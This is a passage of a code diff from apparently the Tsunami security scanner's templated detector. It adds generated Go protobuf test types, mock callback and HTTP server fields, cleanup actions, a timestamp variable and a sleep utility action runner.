10, // [10:10] is the sub-list for method input_type + 10, // [10:10] is the sub-list for extension type_name + 10, // [10:10] is the sub-list for extension extendee + 0, // [0:10] is the sub-list for field type_name +} + +func init() { file_templated_plugin_proto_init() } +func file_templated_plugin_proto_init() { + if File_templated_plugin_proto != nil { + return + } + file_action_http_proto_init() + file_action_callbackserver_proto_init() + file_action_utils_proto_init() + file_templated_plugin_proto_msgTypes[0].OneofWrappers = []any{ + (*PluginAction_HttpRequest)(nil), + (*PluginAction_CallbackServer)(nil), + (*PluginAction_Utility)(nil), + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_templated_plugin_proto_rawDesc), len(file_templated_plugin_proto_rawDesc)), + NumEnums: 1, + NumMessages: 5, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_templated_plugin_proto_goTypes, + DependencyIndexes: file_templated_plugin_proto_depIdxs, + EnumInfos: file_templated_plugin_proto_enumTypes, + MessageInfos: file_templated_plugin_proto_msgTypes, + }.Build() + File_templated_plugin_proto = out.File + file_templated_plugin_proto_goTypes = nil + file_templated_plugin_proto_depIdxs = nil +} diff --git a/templated/templateddetector/proto/templated_plugin_go_proto/templated_plugin_tests.pb.go b/templated/templateddetector/proto/templated_plugin_go_proto/templated_plugin_tests.pb.go new file mode 100644 index 000000000..35a1992be --- /dev/null +++ b/templated/templateddetector/proto/templated_plugin_go_proto/templated_plugin_tests.pb.go @@ -0,0 +1,321 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.5 +// protoc v3.21.12 +// source: templated_plugin_tests.proto + +package templated_plugin_go_proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +// Defines a set of unit test for a templated plugin. +type TemplatedPluginTests struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Configuration for this set of unit tests. For example, the name of the + // plugin being tested. + Config *TemplatedPluginTests_Config `protobuf:"bytes,1,opt,name=config,proto3" json:"config,omitempty"` + // The set of tests to run. + Tests []*TemplatedPluginTests_Test `protobuf:"bytes,2,rep,name=tests,proto3" json:"tests,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TemplatedPluginTests) Reset() { + *x = TemplatedPluginTests{} + mi := &file_templated_plugin_tests_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TemplatedPluginTests) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TemplatedPluginTests) ProtoMessage() {} + +func (x *TemplatedPluginTests) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_tests_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TemplatedPluginTests.ProtoReflect.Descriptor instead. +func (*TemplatedPluginTests) Descriptor() ([]byte, []int) { + return file_templated_plugin_tests_proto_rawDescGZIP(), []int{0} +} + +func (x *TemplatedPluginTests) GetConfig() *TemplatedPluginTests_Config { + if x != nil { + return x.Config + } + return nil +} + +func (x *TemplatedPluginTests) GetTests() []*TemplatedPluginTests_Test { + if x != nil { + return x.Tests + } + return nil +} + +type TemplatedPluginTests_Config struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The reference to the name of the tested plugin. This will be used by the + // engine to create the tests with the correct plugin. + TestedPlugin string `protobuf:"bytes,1,opt,name=tested_plugin,json=testedPlugin,proto3" json:"tested_plugin,omitempty"` + // Whether the test should be disabled. + Disabled bool `protobuf:"varint,2,opt,name=disabled,proto3" json:"disabled,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TemplatedPluginTests_Config) Reset() { + *x = TemplatedPluginTests_Config{} + mi := &file_templated_plugin_tests_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TemplatedPluginTests_Config) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TemplatedPluginTests_Config) ProtoMessage() {} + +func (x *TemplatedPluginTests_Config) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_tests_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TemplatedPluginTests_Config.ProtoReflect.Descriptor instead. +func (*TemplatedPluginTests_Config) Descriptor() ([]byte, []int) { + return file_templated_plugin_tests_proto_rawDescGZIP(), []int{0, 0} +} + +func (x *TemplatedPluginTests_Config) GetTestedPlugin() string { + if x != nil { + return x.TestedPlugin + } + return "" +} + +func (x *TemplatedPluginTests_Config) GetDisabled() bool { + if x != nil { + return x.Disabled + } + return false +} + +type TemplatedPluginTests_Test struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The name of the test. + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + // Whether this test ensure that the vulnerability is found or not. + ExpectVulnerability bool `protobuf:"varint,2,opt,name=expect_vulnerability,json=expectVulnerability,proto3" json:"expect_vulnerability,omitempty"` + // Provides a mock for the callback server. + MockCallbackServer *MockCallbackServer `protobuf:"bytes,3,opt,name=mock_callback_server,json=mockCallbackServer,proto3" json:"mock_callback_server,omitempty"` + // Provides a mock for the HTTP server. + MockHttpServer *MockHttpServer `protobuf:"bytes,4,opt,name=mock_http_server,json=mockHttpServer,proto3" json:"mock_http_server,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TemplatedPluginTests_Test) Reset() { + *x = TemplatedPluginTests_Test{} + mi := &file_templated_plugin_tests_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TemplatedPluginTests_Test) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TemplatedPluginTests_Test) ProtoMessage() {} + +func (x *TemplatedPluginTests_Test) ProtoReflect() protoreflect.Message { + mi := &file_templated_plugin_tests_proto_msgTypes[2] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TemplatedPluginTests_Test.ProtoReflect.Descriptor instead. +func (*TemplatedPluginTests_Test) Descriptor() ([]byte, []int) { + return file_templated_plugin_tests_proto_rawDescGZIP(), []int{0, 1} +} + +func (x *TemplatedPluginTests_Test) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *TemplatedPluginTests_Test) GetExpectVulnerability() bool { + if x != nil { + return x.ExpectVulnerability + } + return false +} + +func (x *TemplatedPluginTests_Test) GetMockCallbackServer() *MockCallbackServer { + if x != nil { + return x.MockCallbackServer + } + return nil +} + +func (x *TemplatedPluginTests_Test) GetMockHttpServer() *MockHttpServer { + if x != nil { + return x.MockHttpServer + } + return nil +} + +var File_templated_plugin_tests_proto protoreflect.FileDescriptor + +var file_templated_plugin_tests_proto_rawDesc = string([]byte{ + 0x0a, 0x1c, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, + 0x69, 0x6e, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x20, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, + 0x1a, 0x20, 0x6d, 0x6f, 0x63, 0x6b, 0x5f, 0x63, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x5f, + 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x1a, 0x1c, 0x6d, 0x6f, 0x63, 0x6b, 0x5f, 0x68, 0x74, 0x74, 0x70, 0x5f, 0x73, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x22, 0x9f, 0x04, 0x0a, 0x14, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x50, 0x6c, + 0x75, 0x67, 0x69, 0x6e, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x55, 0x0a, 0x06, 0x63, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x74, 0x73, 0x75, 0x6e, + 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, + 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x54, 0x65, 0x6d, + 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x50, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x54, 0x65, 0x73, 0x74, + 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x51, 0x0a, 0x05, 0x74, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3b, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, + 0x74, 0x73, 0x2e, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x50, 0x6c, 0x75, 0x67, + 0x69, 0x6e, 0x54, 0x65, 0x73, 0x74, 0x73, 0x2e, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x74, 0x65, + 0x73, 0x74, 0x73, 0x1a, 0x49, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x23, 0x0a, + 0x0d, 0x74, 0x65, 0x73, 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x74, 0x65, 0x73, 0x74, 0x65, 0x64, 0x50, 0x6c, 0x75, 0x67, + 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x64, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x1a, 0x91, + 0x02, 0x0a, 0x04, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x31, 0x0a, 0x14, 0x65, + 0x78, 0x70, 0x65, 0x63, 0x74, 0x5f, 0x76, 0x75, 0x6c, 0x6e, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6c, + 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x65, 0x78, 0x70, 0x65, 0x63, + 0x74, 0x56, 0x75, 0x6c, 0x6e, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x12, 0x66, + 0x0a, 0x14, 0x6d, 0x6f, 0x63, 0x6b, 0x5f, 0x63, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x5f, + 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x34, 0x2e, 0x74, + 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, + 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, 0x73, 0x74, 0x73, 0x2e, + 0x4d, 0x6f, 0x63, 0x6b, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x52, 0x12, 0x6d, 0x6f, 0x63, 0x6b, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x5a, 0x0a, 0x10, 0x6d, 0x6f, 0x63, 0x6b, 0x5f, 0x68, + 0x74, 0x74, 0x70, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x30, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, + 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x74, 0x65, + 0x73, 0x74, 0x73, 0x2e, 0x4d, 0x6f, 0x63, 0x6b, 0x48, 0x74, 0x74, 0x70, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x52, 0x0e, 0x6d, 0x6f, 0x63, 0x6b, 0x48, 0x74, 0x74, 0x70, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x42, 0xa2, 0x01, 0x0a, 0x2e, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2e, + 0x74, 0x65, 0x73, 0x74, 0x73, 0x50, 0x01, 0x5a, 0x6e, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x73, 0x75, 0x6e, 0x61, + 0x6d, 0x69, 0x2d, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x2d, 0x73, 0x63, 0x61, 0x6e, + 0x6e, 0x65, 0x72, 0x2d, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x73, 0x2f, 0x74, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x64, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x64, + 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x74, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x5f, 0x67, + 0x6f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) + +var ( + file_templated_plugin_tests_proto_rawDescOnce sync.Once + file_templated_plugin_tests_proto_rawDescData []byte +) + +func file_templated_plugin_tests_proto_rawDescGZIP() []byte { + file_templated_plugin_tests_proto_rawDescOnce.Do(func() { + file_templated_plugin_tests_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_templated_plugin_tests_proto_rawDesc), len(file_templated_plugin_tests_proto_rawDesc))) + }) + return file_templated_plugin_tests_proto_rawDescData +} + +var file_templated_plugin_tests_proto_msgTypes = make([]protoimpl.MessageInfo, 3) +var file_templated_plugin_tests_proto_goTypes = []any{ + (*TemplatedPluginTests)(nil), // 0: tsunami_templated_detector_tests.TemplatedPluginTests + (*TemplatedPluginTests_Config)(nil), // 1: tsunami_templated_detector_tests.TemplatedPluginTests.Config + (*TemplatedPluginTests_Test)(nil), // 2: tsunami_templated_detector_tests.TemplatedPluginTests.Test + (*MockCallbackServer)(nil), // 3: tsunami_templated_detector_tests.MockCallbackServer + (*MockHttpServer)(nil), // 4: tsunami_templated_detector_tests.MockHttpServer +} +var file_templated_plugin_tests_proto_depIdxs = []int32{ + 1, // 0: tsunami_templated_detector_tests.TemplatedPluginTests.config:type_name -> tsunami_templated_detector_tests.TemplatedPluginTests.Config + 2, // 1: tsunami_templated_detector_tests.TemplatedPluginTests.tests:type_name -> tsunami_templated_detector_tests.TemplatedPluginTests.Test + 3, // 2: tsunami_templated_detector_tests.TemplatedPluginTests.Test.mock_callback_server:type_name -> tsunami_templated_detector_tests.MockCallbackServer + 4, // 3: tsunami_templated_detector_tests.TemplatedPluginTests.Test.mock_http_server:type_name -> tsunami_templated_detector_tests.MockHttpServer + 4, // [4:4] is the sub-list for method output_type + 4, // [4:4] is the sub-list for method input_type + 4, // [4:4] is the sub-list for extension type_name + 4, // [4:4] is the sub-list for extension extendee + 0, // [0:4] is the sub-list for field type_name +} + +func init() { file_templated_plugin_tests_proto_init() } +func file_templated_plugin_tests_proto_init() { + if File_templated_plugin_tests_proto != nil { + return + } + file_mock_callback_server_tests_proto_init() + file_mock_http_server_tests_proto_init() + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_templated_plugin_tests_proto_rawDesc), len(file_templated_plugin_tests_proto_rawDesc)), + NumEnums: 0, + NumMessages: 3, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_templated_plugin_tests_proto_goTypes, + DependencyIndexes: file_templated_plugin_tests_proto_depIdxs, + MessageInfos: file_templated_plugin_tests_proto_msgTypes, + }.Build() + File_templated_plugin_tests_proto = out.File + file_templated_plugin_tests_proto_goTypes = nil + file_templated_plugin_tests_proto_depIdxs = nil +} diff --git a/templated/templateddetector/proto/templated_plugin_tests.proto b/templated/templateddetector/proto/templated_plugin_tests.proto index 345a0e862..530b2828c 100644 --- a/templated/templateddetector/proto/templated_plugin_tests.proto +++ b/templated/templateddetector/proto/templated_plugin_tests.proto @@ -2,10 +2,12 @@ syntax = "proto3"; package tsunami_templated_detector_tests; -import "action_http_tests.proto"; +import "mock_callback_server_tests.proto"; +import "mock_http_server_tests.proto"; option java_multiple_files = true; option java_package = "com.google.tsunami.templatedplugin.proto.tests"; +option go_package = "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto"; // Defines a set of unit test for a templated plugin. message TemplatedPluginTests { @@ -24,10 +26,11 @@ message TemplatedPluginTests { // Whether this test ensure that the vulnerability is found or not. bool expect_vulnerability = 2; - // The action being tested. - oneof anyAction { - HttpTestAction mock_http_server = 3; - } + // Provides a mock for the callback server. + MockCallbackServer mock_callback_server = 3; + + // Provides a mock for the HTTP server. + MockHttpServer mock_http_server = 4; } // Configuration for this set of unit tests. For example, the name of the diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java index c687c1b58..3fba93559 100644 --- a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java @@ -5,6 +5,7 @@ import com.google.tsunami.plugin.TcsClient; import com.google.tsunami.plugin.payload.PayloadSecretGenerator; import com.google.tsunami.proto.NetworkService; +import java.time.Clock; import java.util.HashMap; import java.util.regex.Pattern; @@ -18,14 +19,17 @@ public final class Environment { private static final int SECRET_LENGTH = 8; private final HashMap environment; private final boolean debug; + private final Clock utcClock; - public Environment(boolean debug) { + public Environment(boolean debug, Clock utcClock) { this.environment = new HashMap<>(); this.debug = debug; + this.utcClock = utcClock; } public void initializeFor( NetworkService networkService, TcsClient tcsClient, PayloadSecretGenerator secretGenerator) { + this.set("T_UTL_CURRENT_TIMESTAMP_MS", String.valueOf(utcClock.instant().toEpochMilli())); this.set("T_NS_BASEURL", NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); this.set("T_NS_PROTOCOL", networkService.getTransportProtocol().toString().trim()); diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java index 5e0952ae8..30d28d43f 100644 --- a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java @@ -16,11 +16,13 @@ import com.google.tsunami.plugin.payload.PayloadSecretGenerator; import com.google.tsunami.plugins.detectors.templateddetector.actions.CallbackServerActionRunner; import com.google.tsunami.plugins.detectors.templateddetector.actions.HttpActionRunner; +import com.google.tsunami.plugins.detectors.templateddetector.actions.UtilityActionRunner; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; import com.google.tsunami.templatedplugin.proto.PluginAction; import com.google.tsunami.templatedplugin.proto.PluginWorkflow; import com.google.tsunami.templatedplugin.proto.TemplatedPlugin; @@ -77,6 +79,11 @@ public DetectionReportList detect( return DetectionReportList.getDefaultInstance(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(this.proto.getFinding()); + } + @Inject void setHttpClient(HttpClient httpClient) { this.httpClient = checkNotNull(httpClient); @@ -112,6 +119,8 @@ private final ActionRunner getRunnerForAction(PluginAction action) { return new HttpActionRunner(this.httpClient, this.proto.getConfig().getDebug()); case CALLBACK_SERVER: return new CallbackServerActionRunner(this.tcsClient, this.proto.getConfig().getDebug()); + case UTILITY: + return new UtilityActionRunner(); default: throw new IllegalArgumentException( String.format("Unsupported action type: %s", action.getAnyActionCase())); @@ -136,7 +145,7 @@ private final boolean dispatchAction( // note: expect action names to have been validated already private final boolean runWorkflowForService(NetworkService service, PluginWorkflow workflow) { // We prepare a new environment for that workflow. - Environment environment = new Environment(this.proto.getConfig().getDebug()); + Environment environment = new Environment(this.proto.getConfig().getDebug(), this.utcClock); environment.initializeFor(service, this.tcsClient, this.secretGenerator); for (var parameter : workflow.getVariablesList()) { @@ -144,22 +153,44 @@ private final boolean runWorkflowForService(NetworkService service, PluginWorkfl environment.set(parameter.getName(), value); } + // Run every individual action and inventorize clean up actions. + boolean success = true; + ImmutableList.Builder cleanupActionsBuilder = ImmutableList.builder(); for (String actionName : workflow.getActionsList()) { PluginAction action = this.actionsCache.get(actionName); if (!dispatchAction(service, action, environment)) { logger.atInfo().log("No vulnerability found because action '%s' failed.", actionName); - return false; + success = false; + break; } + + cleanupActionsBuilder.addAll(action.getCleanupActionsList()); + } + + var cleanupActions = cleanupActionsBuilder.build(); + if (cleanupActions.isEmpty()) { + return success; } - return true; + // Run all the clean up actions that were registered. + logger.atInfo().log("Running %d cleanup action(s)", cleanupActions.size()); + for (String cleanupActionName : cleanupActions) { + PluginAction cleanupAction = this.actionsCache.get(cleanupActionName); + if (!dispatchAction(service, cleanupAction, environment)) { + logger.atWarning().log( + "Cleanup action '%s' failed: manual clean up of service on port %d might be needed", + cleanupActionName, service.getNetworkEndpoint().getPort().getPortNumber()); + } + } + + return success; } private final DetectionReportList useWorkflow( TargetInfo targetInfo, ImmutableList matchedService, PluginWorkflow workflow) { - // First we precheck that all registered actions exists. + // First we check that all registered actions exists. for (String actionName : workflow.getActionsList()) { if (!this.actionsCache.containsKey(actionName)) { throw new IllegalArgumentException( @@ -167,6 +198,18 @@ private final DetectionReportList useWorkflow( } } + // Also check that all registered cleanups are valid. + for (PluginAction action : this.actionsCache.values()) { + for (String cleanupActionName : action.getCleanupActionsList()) { + if (!this.actionsCache.containsKey(cleanupActionName)) { + throw new IllegalArgumentException( + String.format( + "Plugin definition error: cleanup action '%s' defined in action '%s' not found.", + cleanupActionName, action.getName())); + } + } + } + return DetectionReportList.newBuilder() .addAllDetectionReports( matchedService.stream() diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunner.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunner.java index 262571b19..5f4ca3161 100644 --- a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunner.java +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/actions/HttpActionRunner.java @@ -121,7 +121,7 @@ private boolean checkExpectation( default: throw new IllegalArgumentException( String.format( - "Invalid expectation type: %s (did you specify from_body or from_header?)", + "Invalid expectation type: %s (did you specify body or header for your expectation?)", expectation.getExpectationCase())); } } diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/actions/UtilityActionRunner.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/actions/UtilityActionRunner.java new file mode 100644 index 000000000..94c6b3ad0 --- /dev/null +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/actions/UtilityActionRunner.java @@ -0,0 +1,45 @@ +package com.google.tsunami.plugins.detectors.templateddetector.actions; + +import com.google.common.flogger.GoogleLogger; +import com.google.tsunami.plugins.detectors.templateddetector.ActionRunner; +import com.google.tsunami.plugins.detectors.templateddetector.Environment; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.templatedplugin.proto.PluginAction; +import com.google.tsunami.templatedplugin.proto.UtilityAction; + +/** CallbackServerActionRunner is an ActionRunner that runs utility actions. */ +public final class UtilityActionRunner implements ActionRunner { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + public UtilityActionRunner() {} + + @Override + public boolean run(NetworkService service, PluginAction action, Environment environment) { + var utility = action.getUtility(); + var actionType = utility.getActionCase(); + + switch (actionType) { + case SLEEP: + return performActionSleep(utility); + default: + logger.atSevere().log("Unknown utility type: %s", actionType); + return false; + } + } + + private boolean performActionSleep(UtilityAction action) { + var sleepAction = action.getSleep(); + var duration = sleepAction.getDurationMs(); + + logger.atInfo().log("Sleeping for %s ms", duration); + + try { + Thread.sleep(duration); + } catch (InterruptedException e) { + logger.atSevere().withCause(e).log("Failed to sleep"); + return false; + } + + return true; + } +} diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java index 6278e9b34..8150d751b 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java @@ -6,6 +6,7 @@ import com.google.inject.Guice; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.plugin.TcsClient; import com.google.tsunami.plugin.payload.PayloadSecretGenerator; import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; @@ -16,6 +17,7 @@ import com.google.tsunami.proto.Port; import com.google.tsunami.proto.TransportProtocol; import java.security.SecureRandom; +import java.time.Instant; import java.util.Arrays; import java.util.regex.PatternSyntaxException; import javax.inject.Inject; @@ -37,13 +39,14 @@ public void nextBytes(byte[] bytes) { @Inject private HttpClient httpClient; @Inject private PayloadSecretGenerator secretGenerator; + private static final FakeUtcClock utcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + @Before public void setup() { Guice.createInjector( - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setSecureRng(testSecureRandom) - .build()) + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom).build()) .injectMembers(this); } @@ -61,20 